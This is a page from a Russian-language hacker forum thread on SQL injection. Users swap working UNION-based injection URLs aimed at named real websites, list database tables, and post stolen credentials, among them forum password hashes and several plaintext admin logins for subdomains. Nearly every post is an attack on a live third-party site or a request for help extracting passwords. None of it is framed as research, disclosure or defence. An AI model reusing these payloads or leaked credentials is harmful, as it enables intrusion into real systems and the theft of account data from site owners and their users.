SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Freescience.info - PR 5
    Design.lookmy.info - PR 4
    Calcutta
     
    #5941 sabe, 13 Jul 2008
    Last edited: 17 Jul 2008
  2. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    320
    Likes Received:
    356
    Reputations:
    18
    Code:
    http://gafgaf.ru/index.php?pid=-1+union+select+1,2,3,4/*

    Code:
    http://gafgaf.ru/index.php?pid=-1+union+select+1,2,3,table_name+from+information_schema.tables+limit+21,10/*
    -------------------------------------------------
    Code:
    http://www.icewarm.com.au/page.php?pIion+select+1,2,3+users/*
    Version:4
     
    #5942 DDoSька, 14 Jul 2008
    Last edited: 14 Jul 2008
    1 person likes this.
  3. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    http://gafgaf.ru/index.php?pid=-1+union+select+1,2,3,password+from+punbb_users+limit+1,1/*
    http://gafgaf.ru/index.php?pid=-1+union+select+1,2,3,username+from+punbb_users+limit+1,1/*
    http://forum.gafgaf.ru

    http://www.icewarm.com.au/page.php?pId=81+union+select+1,2,3+from+mysql.admin/*
    PHP:
    1142SELECT command denied to user 'dbwwwadmin'@'localhost' for table 'admin'
     
  4. BanQui

    BanQui Elder - Старейшина

    Joined:
    10 Jul 2008
    Messages:
    68
    Likes Received:
    18
    Reputations:
    -11
    http://www.fondsk.ru/article.php?id=1' вот что! Версия 5 порылся в информатион схеме нашел в таблице person 2 поля login(http://www.fondsk.ru/article.php?id=1+union+select+1,2,3,4,5,concat(table_name,0x3a,COLUMN_NAME),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x706572736f6e+limit+1,1/*) и mail(ссылку потерял : ( ) ! Пасворда найти не удалось!!! person,author,subscriber воть еще ! Больше нече пдазрительного найти не удалось!
     
    1 person likes this.
  5. BanQui

    BanQui Elder - Старейшина

    Joined:
    10 Jul 2008
    Messages:
    68
    Likes Received:
    18
    Reputations:
    -11
    Как грицо Пришел,увидел,по*мел !!! ВОть http://www.stumptuous.com
    ВОть http://www.stumptuous.com/cms/displaysection.php?sid=-1+union+select+table_name,2+from+information_schema.tables/*
    ну и воть : http://www.stumptuous.com/cms/displaysection.php?sid=-1+union+select+column_name,2+from+information_schema.columns+where+table_name=0x617574686f7220/*

    Пас и логин думаю узнать моно за 1 мин! Я не стал! ИМХО бегу в магаз за пивом)
     
  6. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,138
    Reputations:
    350
    BanQui
    Рекоммендую для изучения:

    Обновлённый антибоян

    http://constant1ne.by.ru/sqls.html

    И первый пост этой темы

    Очень занимательное чтиво
     
  7. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Rabota.su
    главная авторизация на сайте.
    поидее админы..
    /admin - 500 (

    Qanat.info
    наверника фильтрирует from (

    Shanson.info
    это пассы от форума, пасс админа в непонятном хеше..
    Vlad:$H$9smGyUL04XKl5u16IE4w9MaceJYEqw.

    Mkrug.ru - /forum
    Иван:$H$9Ah37qYJZaSPHfGTDN0MQygFcA1ZWK.

    Ogonek.su - /forum
    admin:$H$9T7Fs09jDWbOgt4NQKRDuOeVs8KhXA/

    кароч. там еще много чего интересного )
     
    #5947 sabe, 14 Jul 2008
    Last edited: 14 Jul 2008
    1 person likes this.
  8. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    320
    Likes Received:
    356
    Reputations:
    18
    Code:
    http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(table_name)),4,5,6+from+information_schema.tables/*
    ----
    Code:
            COLUMNS       	COLUMN_PRIVILEGES    	KEY_COLUMN_USAGE    	ROUTINES    	SCHEMATA    	SCHEMA_PRIVILEGES             	STATISTICS             	TABLES             	TABLE_CONSTRAINTS             	TABLE_PRIVILEGES             	TRIGGERS             	VIEWS             	USER_PRIVILEGES             	categories             	contacts             	subcategories             	columns_priv             	db             	func             	help_category             	help_keyword             	help_relation             	help_topic             	host             	proc             	procs_priv             	tables_priv             	time_zone             	time_zone_leap_second             	time_zone_name             	time_zone_transition             	time_zone_transition_type             	user             	challenge_mlb             	challenge_nba             	challenge_ncaabk             	challenge_ncaafb             	challenge_nfl             	challenge_nhl             	comments_mlb             	comments_nba             	comments_ncaabk             	comments_ncaafb             	comments_nfl             	comments_nhl             	consensus_mlb             	consensus_nba             	consensus_ncaabk             	consensus_ncaafb             	consensus_nfl             	consensus_nhl             	picks_mlb             	picks_nba             	picks_ncaabk             	picks_ncaafb             	picks_nfl             	picks_nhl             	points_mlb             	points_nba             	points_ncaabk             	points_ncaafb             	points_nfl             	points_nhl             	team_mlb             	team_nba             	team_ncaabk             	team_ncaafb             	team_nfl             	team_nhl             	advertising             	ariticle_types             	art_comments             	articles             	articles_experts             	articles_rating             	blog_articles             	blog_arttype             	blog_sports             	blog_user             	ch_home_entry             	ch_home_entry              	comments             	countries             	coverage             	deposit_promo             	emailtemplate             	endorsements             	eqrace             	events             	faq             	free_contest             	globalsitepages             	globalvariables             	header_text             	horse_tracks             	hot_this_week             	images_promos             	inprogress             	jackpots             	links             	mail             	mail_user             	mainpagetext             	marquees             	matchups             	media             	media_feeds             	media_user             	metatags             	picks_pros             	poll_answers             	poll_questions             	poll_votes             	promos             	props             	questions             	races_information             	right_buttons             	send_emails             	shows             	smcategories             	smchannels             	smindex             	smprivileges             	smsections             	sound_files             	sports_teams             	states             	stats_scores             	teasers             	temp_articles             	topfiveleaders             	topfivematchups             	topfiveodds             	users             	video_shows             	winners             	winners_list             	writers
    Code:
    http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(column_name)),4,5,6+from+information_schema.columns+where+table_name=0x75736572/*
    Code:
    http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(concat_ws(0x3a,usern,password,email,admin))),4,5,6+from+users/*
     
  9. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    RBC.ua - РБК Украина - PR 5

    мой любимый способ вывода - в .txt
    root: а пасса поидее нету ;)

    шелл не зальеш ( фильтруются кавычки..

    теперь пойдем по субдомменах..

    Press.rbc.ua/admin/
    admin;5660511

    Radio.rbc.ua/admin/
    admin;5660511

    Research.rbc.ua
    shultz:shultz

    бд большая - рут. найти можно много интересного..


    Pogoda.ua- PR 4
    увы 4 мускул. хехе угадал табличку.....
    InnovateOnline.info - PR 6
    пассы...
    мыла...
    WP - токо где он ?

    пс: второй домен webhost.fgsweb.fgsehs.nova.edu ;)


    Effective.net.ua
    Ekip.com.ua
    вывод необнаружен..(
     
    #5949 sabe, 15 Jul 2008
    Last edited: 3 Aug 2008
    1 person likes this.
  10. 2la.painkiller

    2la.painkiller New Member

    Joined:
    22 May 2008
    Messages:
    26
    Likes Received:
    4
    Reputations:
    -10
    Хотел доработать
    http://www.stumptuous.com/cms/
    админку не могу найти =) поскажите плиз
     
  11. BizzyD

    BizzyD Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    209
    Likes Received:
    118
    Reputations:
    0
    Code:
    http://www.mdiecast.com/manufacturerinfo.php?manname=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
    попробуйте подобрать поля с паролями.. оч нужно
     
    1 person likes this.
  12. 2la.painkiller

    2la.painkiller New Member

    Joined:
    22 May 2008
    Messages:
    26
    Likes Received:
    4
    Reputations:
    -10
    http://www.mdiecast.com/manufacturerinfo.php?manname=-1+order+by+15
    15 штук

    4.1.22-standard
    удачи
    +)
     
    #5952 2la.painkiller, 15 Jul 2008
    Last edited: 15 Jul 2008
  13. BanQui

    BanQui Elder - Старейшина

    Joined:
    10 Jul 2008
    Messages:
    68
    Likes Received:
    18
    Reputations:
    -11
    http://www.hyoro.net/Azur/ - Люди ента кп подается мускл???? Чтото странное какието ошибки внизу и по бокам!!! Посмарите плиз!!!
     
  14. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    148
    Likes Received:
    55
    Reputations:
    5
    http://www.terrorfreetomorrow.org/articlenav.php?id=-9999+union+select+1,2,3,4,5,6*

    VERSION: 5.0.45-log

    passwords
    ---username
    ---upassword
    ---emailaddress
    ---securitylevel

    ahutomo:22261f196a56676d:ahutomo@terrorfreetomorrow.org:1

    **************************************
    http://www.samarmagazine.org/archive/article.php?id=-99999+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15/*

    VERSION: 5.0.24a-standard-log

    **************************************
    http://www.eatmybrains.com/showfeature.php?id=-99999+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16/*

    VERSION: 4.1.22-standard
     
    1 person likes this.
  15. nicusor

    nicusor Elder - Старейшина

    Joined:
    19 Mar 2008
    Messages:
    105
    Likes Received:
    38
    Reputations:
    0
    закончилось место для хостинга
     
  16. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    697
    Likes Received:
    404
    Reputations:
    134
    EDU
    юзаем лимит ;-)

    Db Ver: 5.0.21-log
    Db name: riceevol2
    User: rice-evol@localhost
     
  17. S00pY

    S00pY Active Member

    Joined:
    24 Apr 2007
    Messages:
    91
    Likes Received:
    109
    Reputations:
    21
    Поле с паролем не нашёл но нашёл таблицу с акками:
    _http://www.mdiecast.com/manufacturerinfo.php?manname=-1+union+select+1,login,3,4,5,6,7,8,9,10,11,version(),13,14,15+from+accounts+limit+0,1/*


    Ща покопаюсь дальше!




    Есть форум ipb http://www.forum.mdiecast.com/ но база скорее всего другая и с ipb_members не читает((
     
    #5957 S00pY, 15 Jul 2008
    Last edited: 15 Jul 2008
    1 person likes this.
  18. 5taY3r

    5taY3r Elder - Старейшина

    Joined:
    10 May 2007
    Messages:
    38
    Likes Received:
    35
    Reputations:
    0
    Code:
    http://www.mdiecast.com/manufacturerinfo.php?manname=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,id,login,email),8,9,10,11,12,13,14,15+from+accounts+limit+0,1/*
    Не хватает только пасса, пока ничего не придумаю...
     
    1 person likes this.
  19. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    148
    Likes Received:
    55
    Reputations:
    5
    http://www.musicdsp.org/showone.php?id=-99999+union+select+1,version(),3/*

    VERSION: 4.0.27-standard

    ******************************************

    http://www.cichlidae.com/article.php?id=-99999+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20/*

    VERSION: 4.1.20-log

    ******************************************

    http://www.readingmatters.co.uk/book2.php?id=-99999+union+select+1,2,version(),4,5,6,7,8,9/*

    VERSION: 5.0.45-community-log

    ******************************************

    http://www.londyn.sk/agenturaf.php?ID=-99999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,table_name,35,36+from+information_schema.tables/*

    VERSION: 5.0.22
     
  20. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    187
    Likes Received:
    356
    Reputations:
    109
    http://www.pestworks.com.au/index.php?id=-2+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
     
Loading...
Thread Status:
Not open for further replies.